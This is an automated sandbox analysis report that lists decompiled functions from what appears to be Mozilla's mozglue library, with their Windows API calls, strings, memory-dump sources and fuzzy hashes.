Instruction Fuzzy Hash: 60C1AC31A083509FC705CFA9C880A6ABBF1FFDA754F458A1DE8C497620D734A885DB87

Function 6C5EEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EEC8C

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EECA1
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C5EECC5
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5EED19
CloseHandle.KERNEL32(?), ref: 6C5EED28
free.MOZGLUE(00000000), ref: 6C5EED2F
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C5EEC94

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 03932673b80914f6dc77a8a821320a9a5a16bda0373f3da6a89e9143662c3add
Instruction ID: d2a060a07e2413237a826e5a00685c08ade598e3fbeb856d675adc263b216c20
Opcode Fuzzy Hash: 03932673b80914f6dc77a8a821320a9a5a16bda0373f3da6a89e9143662c3add
Instruction Fuzzy Hash: 6F213271600118EBCB008F65DC88AAA3779FFCA36CF104614FC1997741DBB99C068BAA

Function 6C5E8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C5AEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5AEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C5EB392,?,?,00000001), ref: 6C5E91F4

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Strings

timeline-fileio, xrefs: 6C5E90A4
timeline-memory, xrefs: 6C5E9088
data, xrefs: 6C5E90E8
name, xrefs: 6C5E8F16
timeline-overview, xrefs: 6C5E907A
stack-chart, xrefs: 6C5E90B2
marker-chart, xrefs: 6C5E905E
timeline-ipc, xrefs: 6C5E9096
marker-table, xrefs: 6C5E906C

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 66b34a779770cf88fe151751ecec8b07e23c648dee18eb0bca85acedeea74e6d
Instruction ID: 361e60b774ad795e8b3c00c882d51a509c8a1154583b516d5c4c9052b10b1b90
Opcode Fuzzy Hash: 66b34a779770cf88fe151751ecec8b07e23c648dee18eb0bca85acedeea74e6d
Instruction Fuzzy Hash: F5B1B0B1A04209DBDB04CF99CCA6BEEBBB6AF88318F104429D401ABF80D7759D45CBD5

Function 6C5CC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5CC5A3
WideCharToMultiByte.KERNEL32 ref: 6C5CC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5CC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C5CCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5CCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5CCAA5

Strings

(null), xrefs: 6C5CC596
0, xrefs: 6C5CD30A

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 4e55850ca7fe2cc86b11bacc5fb59ae24ba90ea29ec8786a314fd6d938f94a8c
Instruction ID: 238b23af7ec283966682840a5b1c22be70c2c3009ccf85bec683c40507c2adb6
Opcode Fuzzy Hash: 4e55850ca7fe2cc86b11bacc5fb59ae24ba90ea29ec8786a314fd6d938f94a8c
Instruction Fuzzy Hash: A2A19A307083429FDB10DF69C98875ABBE1AF89748F04882DE99AD7741D735E809CB97

Function 6C5A3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C5A350E
__Init_thread_footer.LIBCMT ref: 6C5A3522
__aulldiv.LIBCMT ref: 6C5A3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A3592

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C5A3508
kernel32.dll, xrefs: 6C5A34EA

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b227b04fd828dc299030c3ba2133d002182e0b596c575e735fb8332e04328c0c
Instruction ID: cbbbbe47fd31ba4fa95100fc93d1585da9a89e9a3c0c38f7cf39bf8eae584c33
Opcode Fuzzy Hash: b227b04fd828dc299030c3ba2133d002182e0b596c575e735fb8332e04328c0c
Instruction Fuzzy Hash: EF319271B002159BDF00DFBACD88EAE77B5FB89305F100419E541936A0DB78E906CF55

Function 6C5A4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C5E4843,?), ref: 6C5A45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C5E4843,?), ref: 6C5A468A
free.MOZGLUE(?,?,?,?,?,?,6C5E4843,?), ref: 6C5A46C9
free.MOZGLUE(?), ref: 6C5A46EF
free.MOZGLUE(?), ref: 6C5A4712
free.MOZGLUE(?), ref: 6C5A4735
free.MOZGLUE(?), ref: 6C5A4758
free.MOZGLUE(?), ref: 6C5A477B
free.MOZGLUE(?), ref: 6C5A479E

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 956d6b742d20f446c37b415ad19da982a66a72e4f81addcce92daf969ff5cfc8
Instruction ID: b235b85f31c7b100b1b88b28b9a7c123636ee0a92927097124baa914d3a6f86f
Opcode Fuzzy Hash: 956d6b742d20f446c37b415ad19da982a66a72e4f81addcce92daf969ff5cfc8
Instruction Fuzzy Hash: 58B10571A001518FDB18CEFDDC9076D77A2AF86328F184668E416DBB92EB31DC428B91

Function 6C60AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C60AC52
CreateFileMappingW.KERNEL32 ref: 6C60AC7D
GetSystemInfo.KERNEL32 ref: 6C60AC98
MapViewOfFile.KERNEL32 ref: 6C60ACB0
GetSystemInfo.KERNEL32 ref: 6C60ACCD
MapViewOfFile.KERNEL32 ref: 6C60AD05
UnmapViewOfFile.KERNEL32 ref: 6C60AD1C
CloseHandle.KERNEL32 ref: 6C60AD28
UnmapViewOfFile.KERNEL32 ref: 6C60AD37
CloseHandle.KERNEL32 ref: 6C60AD43
CloseHandle.KERNEL32 ref: 6C60AD67

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: db92535dc816bf2cc27be4c1a3620d28a1d4facdf7d1cdd889fb3548a7a263bd
Instruction ID: bf8bfe9abb2f62120e484287ac4ed580bcf8d47285b516996b0da01be76345cb
Opcode Fuzzy Hash: db92535dc816bf2cc27be4c1a3620d28a1d4facdf7d1cdd889fb3548a7a263bd
Instruction Fuzzy Hash: 563190B1A043048FDB00AF7DD68826EBBF0FF85345F05892DE98697241EB749449CB86

Function 6C5B9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5B9675
__Init_thread_footer.LIBCMT ref: 6C5B9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5B96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5B9707
__Init_thread_footer.LIBCMT ref: 6C5B971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9773

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5B97B7
FreeLibrary.KERNEL32 ref: 6C5B97D0
FreeLibrary.KERNEL32 ref: 6C5B97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9824

Strings

ntdll.dll, xrefs: 6C5B96E3
MapViewOfFileNuma2, xrefs: 6C5B97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5B9670
NtMapViewOfSection, xrefs: 6C5B9701

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 2fa055d8909f508fd37fc8ed104ceac4e62b06d4ec511a9ceff39ef535b1403e
Instruction ID: 726b85e24ac7c84d8d5ea3b8a1c7dda6cc5fca7ae0cf3e248580861b6cff9084
Opcode Fuzzy Hash: 2fa055d8909f508fd37fc8ed104ceac4e62b06d4ec511a9ceff39ef535b1403e
Instruction Fuzzy Hash: 2641A0756003169BDF00CFA6ECE4A977BB4EB8A354F114128ED55A7740D738E805CFAA

Function 6C5B7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5B7EA7
malloc.MOZGLUE(00000001), ref: 6C5B7EB3

Part of subcall function 6C5BCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C5BCB49
Part of subcall function 6C5BCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C5BCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C5B7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C5B7F19
malloc.MOZGLUE(?), ref: 6C5B7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5B7F4D

Strings

d, xrefs: 6C5B7F89

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 675ea6bd66d6b45139d2589f8201d95b6ef2e13bff29204be089a5a19b7ed3bd
Instruction ID: 83313b412103125404552f21bd1eb796919a6c4a3b35b4f62e64ca8bac2aa9cd
Opcode Fuzzy Hash: 675ea6bd66d6b45139d2589f8201d95b6ef2e13bff29204be089a5a19b7ed3bd
Instruction Fuzzy Hash: 06312671E0438897DB019B39CC409FEB778EF96248F055229ED4967612FB34A988C398

Function 6C5F9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5F8273), ref: 6C5F9D65
free.MOZGLUE(6C5F8273,?), ref: 6C5F9D7C
free.MOZGLUE(?,?), ref: 6C5F9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5F9E0F
free.MOZGLUE(6C5F946B,?,?), ref: 6C5F9E24
free.MOZGLUE(?,?,?), ref: 6C5F9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5F9EC8
free.MOZGLUE(6C5F946B,?,?,?), ref: 6C5F9EDF
free.MOZGLUE(?,?,?,?), ref: 6C5F9EF5

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 787a0062091700d61be2b65576cfdc054fefc4eac589345f2f7d66a646773795
Instruction ID: 14cf36fab5c8c4ff030dd84be57df243b4357bda1339c2fbb0f3b53d882bc4a9
Opcode Fuzzy Hash: 787a0062091700d61be2b65576cfdc054fefc4eac589345f2f7d66a646773795
Instruction Fuzzy Hash: 1E719DB0A09B41CBC716CF58C88059AF3F4FF99314B84965DE95A9B701EB30E886CBD1

Function 6C5FDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C5FDDCF

Part of subcall function 6C5DFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5DFA4B

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDE0D
free.MOZGLUE(00000000), ref: 6C5FDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C5EDEFD,?,6C5B4A68), ref: 6C5FDF32

Part of subcall function 6C5FDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5FDB86
Part of subcall function 6C5FDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5FDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C5EDEFD,?,6C5B4A68), ref: 6C5FDF65
free.MOZGLUE(?), ref: 6C5FDF80

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: a93f226ff001548a579bb6d5680957d14381645c5c3d1099f92fa9ebc7e4e195
Instruction ID: e9d9f3a7715c3da00ed2307247d91099d61ff5c943ff41bb846aa0dd65ddfe1b
Opcode Fuzzy Hash: a93f226ff001548a579bb6d5680957d14381645c5c3d1099f92fa9ebc7e4e195
Instruction Fuzzy Hash: C451A3726016009BE7199F28CC806AEB376AFD1308F95051CDA2A53B00DB31F91BCF96

Function 6C605D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605DC9
std::_Facet_Register.LIBCPMT ref: 6C605DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605E45

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 871dac4c81d3ed0953dd66f54eddc66779fee5913753c2f61b4aebdab8ac5640
Instruction ID: e30331564348a2ea0243372d30cab556a56615624ce3625c0d870351296d7690
Opcode Fuzzy Hash: 871dac4c81d3ed0953dd66f54eddc66779fee5913753c2f61b4aebdab8ac5640
Instruction Fuzzy Hash: 65417F307002058FCB14EF6AC9D8AAE77FAEF89314F044469D50AA7791DB34A805CB6D

Function 6C5DCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5A31A7), ref: 6C5DCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C5DCFA4, 6C5DCFB8
<jemalloc>, xrefs: 6C5DCF9F, 6C5DCFB3

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 59991e841da24b02a7d6701440c61c268d3e8a587b7c6203eb3020ac1d84045a
Instruction ID: 998e27ab659295d1e5994167c4859d8b0af2eea0761ea0fb29930de1b0c23f75
Opcode Fuzzy Hash: 59991e841da24b02a7d6701440c61c268d3e8a587b7c6203eb3020ac1d84045a
Instruction Fuzzy Hash: B031C770B403069BEF11AFAD8C85BAE7775EB81754F214015F611EBA80DB74F900CB99

Function 6C5AECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5AF100: LoadLibraryW.KERNEL32(shell32,?,6C61D020), ref: 6C5AF122
Part of subcall function 6C5AF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5AF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C5AED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5AEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C5AEDCC
CreateFileW.KERNEL32 ref: 6C5AEE08
free.MOZGLUE(00000000), ref: 6C5AEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C5AEE32

Part of subcall function 6C5AEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C5AEBB5
Part of subcall function 6C5AEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C5DD7F3), ref: 6C5AEBC3
